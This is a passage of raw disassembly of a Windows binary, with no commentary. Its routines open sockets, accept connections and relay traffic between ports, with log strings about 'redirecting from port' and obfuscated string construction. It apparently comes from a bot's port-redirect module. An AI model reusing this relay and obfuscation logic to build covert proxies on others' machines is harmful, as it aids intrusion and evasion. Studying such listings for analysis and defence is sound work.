eax, eax mov ax, [esi+6] dec eax jz short loc_42C0C6 dec eax jz short loc_42C0E8 mov word ptr [esi+6], 1 loc_42C0C6: ; CODE XREF: sub_42C0A0+1Bj mov eax, 1 mov ecx, 6 loc_42C0D0: ; CODE XREF: sub_42C0A0+52j push ecx push eax push 2 nop call near ptr 71AB3B91h test eax, eax mov [esi+32h], eax jnz short loc_42C0F4 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C0E8: ; CODE XREF: sub_42C0A0+1Ej mov eax, 2 mov ecx, 11h jmp short loc_42C0D0 ; --------------------------------------------------------------------------- loc_42C0F4: ; CODE XREF: sub_42C0A0+3Fj mov ax, [esi+4] mov [esp+14h+var_10], 2 push eax mov [esp+18h+var_C], 0 nop call near ptr 71AB2B66h mov edx, [esi+32h] lea ecx, [esp+14h+var_10] push 10h push ecx push edx mov [esp+20h+var_E], ax nop call near ptr 71AB3E00h test eax, eax jz short loc_42C139 mov eax, [esi+32h] push eax nop call near ptr 71AB9639h xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C139: ; CODE XREF: sub_42C0A0+86j cmp word ptr [esi+6], 1 jnz short loc_42C161 mov ecx, [esi+32h] push 3 push ecx nop call near ptr 71AB88D3h test eax, eax jz short loc_42C161 mov edx, [esi+32h] push edx nop call near ptr 71AB9639h xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42C161: ; CODE XREF: sub_42C0A0+9Ej ; sub_42C0A0+AEj mov al, 1 pop esi add esp, 10h retn sub_42C0A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42C1B0 proc near ; CODE XREF: sub_401DD4j var_24 = byte ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_42C1B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov edi, ecx mov [ebp+var_10], esp mov ax, [edi+6] cmp ax, 1 jnz short loc_42C24A mov eax, [edi+32h] mov [ebp+var_14], 10h test eax, eax jz short loc_42C231 mov ebx, dword_511C98 lea ecx, [ebp+var_14] lea edx, [ebp+var_24] push ecx push edx push eax call ebx mov esi, eax test esi, esi jnz short loc_42C216 loc_42C202: ; CODE XREF: sub_42C1B0+64j mov edx, [edi+32h] lea eax, [ebp+var_14] lea ecx, [ebp+var_24] push eax push ecx push edx call ebx mov esi, eax test esi, esi jz short loc_42C202 loc_42C216: ; CODE XREF: sub_42C1B0+50j mov eax, [edi] push esi mov ecx, edi mov [ebp+var_4], 0 call dword ptr [eax] push esi mov bl, al call near ptr 71AB9639h nop test bl, bl jnz short loc_42C26A loc_42C231: ; CODE XREF: sub_42C1B0+39j ; sub_42C1B0+9Ej ... xor al, al mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_42C244: ; DATA XREF: ___:00442FB4o mov eax, offset loc_42C231 retn ; --------------------------------------------------------------------------- loc_42C24A: ; CODE XREF: sub_42C1B0+2Bj cmp ax, 2 jnz short loc_42C231 mov eax, [edi+32h] mov edx, [edi] push eax mov ecx, edi call dword ptr [edx] mov ecx, [edi+32h] mov bl, al push ecx nop call near ptr 71AB9639h test bl, bl jz short loc_42C231 loc_42C26A: ; CODE XREF: sub_42C1B0+7Fj mov ecx, [ebp+var_C] pop edi pop esi mov al, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_42C1B0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42C2C0: ; CODE XREF: ___:00401F96j push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_43CEC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, [ebp+8] push edi mov [ebp-10h], esp mov dword ptr [ebp-4], 0 mov eax, [esi] mov ecx, [eax+4] mov eax, [ecx+esi+32h] add ecx, esi push eax mov edx, [ecx] call dword ptr [edx] mov ecx, [esi] mov edx, [ecx+4] mov eax, [edx+esi+32h] push eax nop call near ptr 71AB9639h loc_42C309: ; DATA XREF: ___:loc_42C321o mov ecx, [ebp-0Ch] pop edi pop esi mov eax, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_42C321: ; DATA XREF: ___:00443014o mov eax, offset loc_42C309 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C350 proc near ; CODE XREF: sub_401C2Bj var_19C = byte ptr -19Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h push 0FFFFFFFFh push offset SEH_42C350 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 194h lea eax, [esp+1A0h+var_19C] mov [esp+1A0h+var_4], 1 push eax push 2 nop call near ptr 71AB664Dh test eax, eax jz short loc_42C3C7 loc_42C387: ; CODE XREF: ___:0042C456j lea ecx, [esp+1A0h+arg_4] mov byte ptr [esp+1A0h+var_4], 0 call sub_401226 lea ecx, [esp+1A0h+arg_1C] mov [esp+1A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1A0h+var_C] mov large fs:0, ecx add esp, 1A0h retn ; --------------------------------------------------------------------------- loc_42C3C7: ; CODE XREF: sub_42C350+35j push 42h call sub_437AEA sub_42C350 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+0], eax test eax, eax mov byte ptr [esp+19Ch], 2 jz short loc_42C3EC push 1 mov ecx, eax call sub_4014F1 jmp short loc_42C3EE ; --------------------------------------------------------------------------- loc_42C3EC: ; CODE XREF: ___:0042C3DFj xor eax, eax loc_42C3EE: ; CODE XREF: ___:0042C3EAj mov dword_5103A4, eax mov ecx, [eax] mov byte ptr [esp+19Ch], 1 mov edx, [ecx+4] mov cx, [esp+1A4h] mov [edx+eax+4], cx mov eax, dword_5103A4 lea edx, [esp+1A8h] mov ecx, [eax] push edx mov edx, [ecx+4] lea ecx, [edx+eax+8] call sub_40202C lea eax, [esp+1C0h] push eax mov eax, dword_5103A4 mov ecx, [eax] mov edx, [ecx+4] lea ecx, [edx+eax+1Dh] call sub_40202C mov eax, dword_5103A4 mov ecx, [eax] mov ecx, [ecx+4] add ecx, eax call sub_401F37 test al, al jz loc_42C387 loc_42C45C: ; CODE XREF: ___:0042C46Dj mov eax, dword_5103A4 mov edx, [eax] mov ecx, [edx+4] add ecx, eax call sub_401DD4 jmp short loc_42C45C ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C4C0 proc near ; CODE XREF: sub_4014F1j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi test eax, eax mov esi, ecx mov [esp+8+var_4], 0 jz short loc_42C4E2 lea ecx, [esi+8] mov dword ptr [esi], offset dword_43F190 call sub_4014B5 loc_42C4E2: ; CODE XREF: sub_42C4C0+12j mov eax, [esi] mov ecx, [eax+4] mov dword ptr [ecx+esi], offset off_43F18C mov edx, [esi] mov eax, [edx+4] lea ecx, [eax-8] mov [eax+esi-4], ecx mov eax, esi pop esi pop ecx retn 4 sub_42C4C0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C530 proc near ; CODE XREF: sub_4014B5j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42C530 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8] call sub_40142E lea ecx, [esi+1Dh] mov [esp+14h+var_4], 0 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F19C mov dword ptr [esi+32h], 0 mov word ptr [esi+6], 1 mov word ptr [esi+4], 0 mov dword ptr [esi+36h], 1000h mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42C530 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C5C0 proc near ; CODE XREF: sub_4020EFj ; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES sub ecx, [ecx-4] jmp loc_4013A2 sub_42C5C0 endp ; --------------------------------------------------------------------------- align 10h loc_42C5D0: ; CODE XREF: ___:00401352j push 0FFFFFFFFh push offset loc_43CF38 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi call sub_401FA0 push offset off_444D54 lea ecx, [esi+11h] mov dword ptr [esp+14h], 0 mov dword ptr [esi], offset off_43F1A0 call sub_4015E1 mov ecx, [esp+8] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C640 proc near ; CODE XREF: ___:00401398j sub_401F5Fj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4011BD test [esp+4+arg_0], 1 jz short loc_42C658 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42C658: ; CODE XREF: sub_42C640+Dj mov eax, esi pop esi retn 4 sub_42C640 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42C670 proc near ; CODE XREF: sub_4011BDj jmp sub_4017A8 sub_42C670 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42C690: ; CODE XREF: ___:loc_40134Dj mov eax, 1000h call sub_437B30 push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_42C71C mov ebx, dword_511CA4 mov ebp, dword_511CA0 loc_42C6BC: ; CODE XREF: ___:0042C71Aj mov edx, [esi+9Dh] mov ecx, 400h xor eax, eax lea edi, [esp+10h] rep stosd push eax mov eax, [edx+0A5h] lea ecx, [esp+14h] push 1000h push ecx push eax call ebx test eax, eax jz short loc_42C71C cmp eax, 0FFFFFFFFh jz short loc_42C71C mov edx, [esi+9Dh] push 0 push eax lea ecx, [esp+18h] mov eax, [edx+0A1h] push ecx push eax call ebp test eax, eax jz short loc_42C71C cmp eax, 0FFFFFFFFh jz short loc_42C71C mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz short loc_42C6BC loc_42C71C: ; CODE XREF: ___:0042C6AEj ; ___:0042C6E5j ... mov edx, [esi+9Dh] pop edi pop esi pop ebp mov eax, [edx+0A1h] pop ebx cmp eax, 0FFFFFFFFh jz short loc_42C738 push eax call near ptr 71AB9639h nop loc_42C738: ; CODE XREF: ___:0042C72Fj add esp, 1000h retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C770 proc near ; CODE XREF: sub_40166Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42C770 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset off_444D54 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F1B0 call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42C770 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C7E0 proc near ; CODE XREF: ___:004013A7j sub_401B36j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401217 test [esp+4+arg_0], 1 jz short loc_42C7F8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42C7F8: ; CODE XREF: sub_42C7E0+Dj mov eax, esi pop esi retn 4 sub_42C7E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42C810 proc near ; CODE XREF: sub_401217j jmp sub_4017A8 sub_42C810 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42C830 proc near ; CODE XREF: sub_401537j var_50 = byte ptr -50h var_40 = byte ptr -40h var_30 = byte ptr -30h var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_C = byte ptr -0Ch var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, 1014h call sub_437B30 push ebx push ebp push esi mov esi, ecx push edi or edi, 0FFFFFFFFh mov eax, [esi+99h] mov [esi+0A5h], edi mov cl, [eax+11Ch] test cl, cl jz loc_42C9FA mov ebx, 1 push 6 push ebx push 2 nop call near ptr 71AB3B91h cmp eax, edi mov [esi+0A5h], eax jnz short loc_42C888 mov [esi+0A5h], edi pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42C888: ; CODE XREF: sub_42C830+45j mov dx, [esi+3Fh] xor ecx, ecx mov [esp+1Ch+var_8], ecx push edx mov [esp+20h+var_4], ecx mov word ptr [esp+20h+var_8], 2 mov [esp+20h], ecx mov [esp+20h+arg_0], ecx nop call near ptr 71AB2B66h lea ecx, [esi+43h] mov [esp+20h+var_A], ax call sub_4017EE push eax call sub_40188E add esp, 4 cmp eax, edi mov [esp+20h+var_8], eax jnz short loc_42C8E2 mov eax, [esi+0A5h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42C8E2: ; CODE XREF: sub_42C830+98j mov edx, [esi+0A5h] lea ecx, [esp+20h+var_C] push 10h push ecx push edx nop call near ptr 71AB406Ah cmp eax, edi jnz short loc_42C912 mov eax, [esi+0A5h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42C912: ; CODE XREF: sub_42C830+C8j mov edx, [esi+0A1h] mov edi, dword_511CAC lea ecx, [esp+2Ch+var_1C] mov [esp+2Ch+var_1C], ebx push ecx push 8004667Eh push edx call edi mov ecx, [esi+0A5h] lea eax, [esp+38h+var_28] push eax push 8004667Eh push ecx mov [esp+44h+var_28], ebx call edi mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jz loc_42C9FA mov ebx, dword_511CA4 mov ebp, dword_511CA0 loc_42C966: ; CODE XREF: sub_42C830+1BAj mov ecx, [esi+0A5h] push 0 lea eax, [esp+48h+var_20] push 1000h push eax push ecx call ebx mov edi, eax test edi, edi jz short loc_42C9FA jge short loc_42C990 call near ptr 71AB94DCh nop cmp eax, 2733h jnz short loc_42C9F2 loc_42C990: ; CODE XREF: sub_42C830+151j mov eax, [esi+0A1h] push 0 lea edx, [esp+58h+var_30] push edi push edx push eax call ebp mov edx, [esi+0A1h] push 0 lea ecx, [esp+68h+var_40] push 1000h push ecx push edx call ebx mov edi, eax test edi, edi jz short loc_42C9FA jge short loc_42C9CB nop call near ptr 71AB94DCh cmp eax, 2733h jnz short loc_42C9F2 loc_42C9CB: ; CODE XREF: sub_42C830+18Cj mov ecx, [esi+0A5h] push 0 lea eax, [esp+78h+var_50] push edi push eax push ecx call ebp mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42C966 jmp short loc_42C9FA ; --------------------------------------------------------------------------- loc_42C9F2: ; CODE XREF: sub_42C830+15Ej ; sub_42C830+199j push 0Ah nop call near ptr 2830386h loc_42C9FA: ; CODE XREF: sub_42C830+27j ; sub_42C830+124j ... mov eax, [esi+0A1h] mov edi, dword_511C9C cmp eax, 0FFFFFFFFh jz short loc_42CA0E push eax call edi loc_42CA0E: ; CODE XREF: sub_42C830+1D9j mov esi, [esi+0A5h] cmp esi, 0FFFFFFFFh jz short loc_42CA1C push esi call edi loc_42CA1C: ; CODE XREF: sub_42C830+1E7j pop edi pop esi pop ebp pop ebx add esp, 1014h retn sub_42C830 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9 dup(90h) db 80h dup(0CCh) db 6Ah ; j db 0FFh db 68h ; h db 78h ; x db 0CFh ; db 43h ; C db 0 db 64h ; d db 0A1h ; db 0 db 0 db 0 db 0 db 50h ; P db 64h ; d db 89h ; db 25h ; % db 0 db 0 db 0 db 0 db 51h ; Q db 56h ; V db 8Bh ; db 0F1h ; db 89h ; db 74h ; t db 24h ; $ db 4 db 0E8h ; db 0CEh ; db 54h ; T db 0FDh ; db 0FFh db 68h ; h db 54h ; T db 4Dh ; M db 44h ; D db 0 db 8Dh ; db 4Eh ; N db 11h db 0C7h ; db 44h ; D db 24h ; $ db 14h db 0 db 0 db 0 db 0 db 0C7h ; db 6 db 0C0h ; db 0F1h ; db 43h ; C db 0 db 0E8h ; db 0F4h ; db 4Ah ; J db 0FDh ; db 0FFh db 8Bh ; db 4Ch ; L db 24h ; $ db 8 db 8Bh ; db 0C6h ; db 5Eh ; ^ db 64h ; d db 89h ; db 0Dh db 0 db 0 db 0 db 0 db 83h ; db 0C4h ; db 10h db 0C3h ; db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42CB20: ; CODE XREF: ___:loc_4015FAj ; ___:00401FC8j push esi mov esi, ecx call sub_401B9F test byte ptr [esp+8], 1 jz short loc_42CB38 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_42CB38: ; CODE XREF: ___:0042CB2Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42CB50 proc near ; CODE XREF: sub_401B9Fj jmp sub_4017A8 sub_42CB50 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42CB70 proc near ; CODE XREF: sub_4019F1j var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42CB70 push eax mov large fs:0, esp sub esp, 28h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+3Fh] lea ebx, [esi+43h] push eax mov ecx, ebx lea edi, [esi+11h] lea ebp, [esi+26h] call sub_4017EE mov ecx, [esi+3Bh] push eax push ecx mov ecx, edi call sub_4017EE push eax push offset aSRedirectingFr ; "[%s] Redirecting from Port %d to '%s:%d"... mov ecx, ebp call sub_4014DD mov dl, [esi+98h] push eax mov al, [esi+97h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 24h push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42CDA8 mov dx, [esi+3Bh] xor ecx, ecx mov [esp+44h+var_2C], ecx push edx mov [esp+48h+var_28], ecx mov word ptr [esp+48h+var_2C], 2 mov [esp+48h+var_24], ecx mov [esp+48h+var_20], ecx nop call near ptr 71AB2B66h mov ecx, [esi+9Dh] mov word ptr [esp+44h+var_2C+2], ax lea eax, [esp+44h+var_2C] push 10h push eax push ecx mov [esp+50h+var_34], 10h call near ptr 71AB3E00h nop test eax, eax jz short loc_42CC5B mov edx, [esi+9Dh] push edx nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx mov ecx, [esp+34h+var_C] mov large fs:0, ecx add esp, 34h retn ; --------------------------------------------------------------------------- loc_42CC5B: ; CODE XREF: sub_42CB70+C9j mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz loc_42CD54 loc_42CC6F: ; CODE XREF: sub_42CB70+1DEj mov ecx, [esi+9Dh] push 0Ah push ecx nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz loc_42CD35 mov ecx, [esi+9Dh] lea edx, [esp+44h+var_34] lea eax, [esp+44h+var_1C] push edx push eax push ecx nop call near ptr 71AC1028h mov ebp, eax cmp ebp, 0FFFFFFFFh jz loc_42CD35 xor edi, edi cmp ebp, edi jz loc_42CD35 push 0A9h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+44h+var_30], eax cmp eax, edi mov [esp+44h+var_4], edi jz short loc_42CCD5 mov ecx, eax call sub_40166D mov edi, eax loc_42CCD5: ; CODE XREF: sub_42CB70+15Aj mov edx, [esi+99h] mov [edi+9Dh], esi mov [edi+99h], edx mov eax, [esi+3Bh] mov [edi+3Bh], eax mov ecx, [esi+3Fh] mov [edi+3Fh], ecx push ebx lea ecx, [edi+43h] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401FDC lea eax, [esi+26h] lea ecx, [edi+26h] push eax mov [edi+0A1h], ebp call sub_401FDC mov dl, [esi+97h] mov ecx, edi mov [edi+97h], dl mov al, [esi+98h] mov [edi+98h], al call sub_4013DE loc_42CD35: ; CODE XREF: sub_42CB70+111j ; sub_42CB70+133j ... push 0FAh call near ptr 2830386h nop mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz loc_42CC6F loc_42CD54: ; CODE XREF: sub_42CB70+F9j mov eax, [esi+9Dh] cmp eax, 0FFFFFFFFh jz short loc_42CD66 push eax nop call near ptr 71AB9639h loc_42CD66: ; CODE XREF: sub_42CB70+1EDj mov edx, [esi+3Fh] mov ecx, ebx push edx call sub_4017EE push eax mov eax, [esi+3Bh] push eax lea ecx, [esi+11h] call sub_4017EE push eax push offset aSFinishedRed_0 ; "[%s] Finished redirecting from port %d "... lea ecx, [esi+26h] call sub_4014DD mov cl, [esi+98h] mov dl, [esi+97h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 24h loc_42CDA8: ; CODE XREF: sub_42CB70+7Cj mov ecx, [esp+44h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 34h retn sub_42CB70 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42CE60 proc near ; CODE XREF: sub_402202j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42CE60 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 3 push 14h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 mov esi, ecx push 5 lea eax, [esp+74h+var_3C] push 12h push eax mov dword ptr [esi+118h], 0 call sub_4019C4 add esp, 38h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_42CE60 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 12h push 7 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+38h] push 12h push edx call sub_4019C4 add esp, 38h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 14h push 14h push 8 push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+3Ch] push 12h push ecx call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+60h] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea eax, [esp+40h] push 12h push eax call sub_4019C4 add esp, 40h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+8Eh] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 49h push 13h push 0Bh push 3 push 0Fh push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea edx, [esp+44h] push 12h push edx call sub_4019C4 add esp, 44h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE push eax lea eax, [esi+0BCh] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 14h push 3 push 5 push 12h push 9 push 4 push 5 lea ecx, [esp+54h] push 12h push ecx call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017EE add esi, 0EAh push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0A0h dup(0CCh) ; --------------------------------------------------------------------------- loc_42D150: ; CODE XREF: ___:loc_40204Aj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43D0B4 push eax mov large fs:0, esp sub esp, 68h push ebx push ebp push esi mov esi, [esp+84h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4017EE push eax mov ecx, edi call sub_4012EE or ebx, 0FFFFFFFFh test eax, eax jnz loc_42D2B7 push 0A1h call sub_437AEA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h dd 0ADE8C88Bh, 8BFFFD44h, 460068F8h, 448D0044h, 16A4C24h dd 11C85C6h, 50010000h, 9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h dd 0FFFD44D4h, 84C7C88Bh, 8024h, 100h, 45F8E800h, 9050FFFDh dd 7EED1BE8h, 4C48377h, 48244C8Dh, 893B4789h, 80249Ch dd 13E80000h, 68FFFD40h, 444600h, 4C244C8Dh, 8B51026Ah dd 4492E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 4DA2E800h dd 4C8DFFFDh, 9C894824h, 8024h, 3FDCE800h, 68FFFDh, 8D004446h dd 6A4C2454h, 0CE8B5203h, 0FD445BE8h, 0C7C88BFFh, 802484h dd 30000h, 7FE80000h, 50FFFD45h, 0ECA2E890h, 0C483777Eh dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h, 0FFFD3F9Ah dd 8D69468Dh, 0E850264Fh, 0FFFD4D44h, 938E8Ah, 8F880000h dd 97h, 94968Ah, 0CF8B0000h, 989788h, 27E80000h db 41h, 0FDh, 0FFh ; --------------------------------------------------------------------------- loc_42D2B7: ; CODE XREF: ___:0042D18Dj lea ecx, [ebp+32h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42D3E7 push 9Dh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 4 jz short loc_42D2FE mov ecx, eax call sub_401898 mov edi, eax jmp short loc_42D300 ; --------------------------------------------------------------------------- loc_42D2FE: ; CODE XREF: ___:0042D2F1j xor edi, edi loc_42D300: ; CODE XREF: ___:0042D2FCj push offset asc_444600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016B8 push eax lea ecx, [edi+58h] mov dword ptr [esp+84h], 5 call sub_401FDC lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+4Ch] push 2 push ecx mov ecx, esi call sub_4016B8 push eax lea ecx, [edi+6Dh] mov dword ptr [esp+84h], 6 call sub_401FDC lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 push offset asc_444600 ; " " lea edx, [esp+4Ch] push 3 push edx mov ecx, esi call sub_4016B8 push eax lea ecx, [edi+82h] mov dword ptr [esp+84h], 7 call sub_401FDC lea ecx, [esp+48h] mov [esp+80h], ebx call sub_401226 lea eax, [esi+69h] lea ecx, [edi+26h] push eax call sub_401FDC mov cl, [esi+93h] mov [edi+97h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+98h], dl call sub_4013DE loc_42D3E7: ; CODE XREF: ___:0042D2CAj lea ecx, [ebp+60h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_42D510 push 0A2h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+88h], eax test eax, eax mov dword ptr [esp+80h], 8 jz short loc_42D42E mov ecx, eax call sub_4018ED mov edi, eax jmp short loc_42D430 ; --------------------------------------------------------------------------- loc_42D42E: ; CODE XREF: ___:0042D421j xor edi, edi loc_42D430: ; CODE XREF: ___:0042D42Cj push offset asc_444600 ; " " lea eax, [esp+4Ch] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov [esp+8Ch], ebx mov [edi+99h], ebp call sub_4016B8 mov ecx, eax mov dword ptr [esp+80h], 9 call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+48h] mov [edi+3Bh], eax mov [esp+80h], ebx call sub_401226 push offset 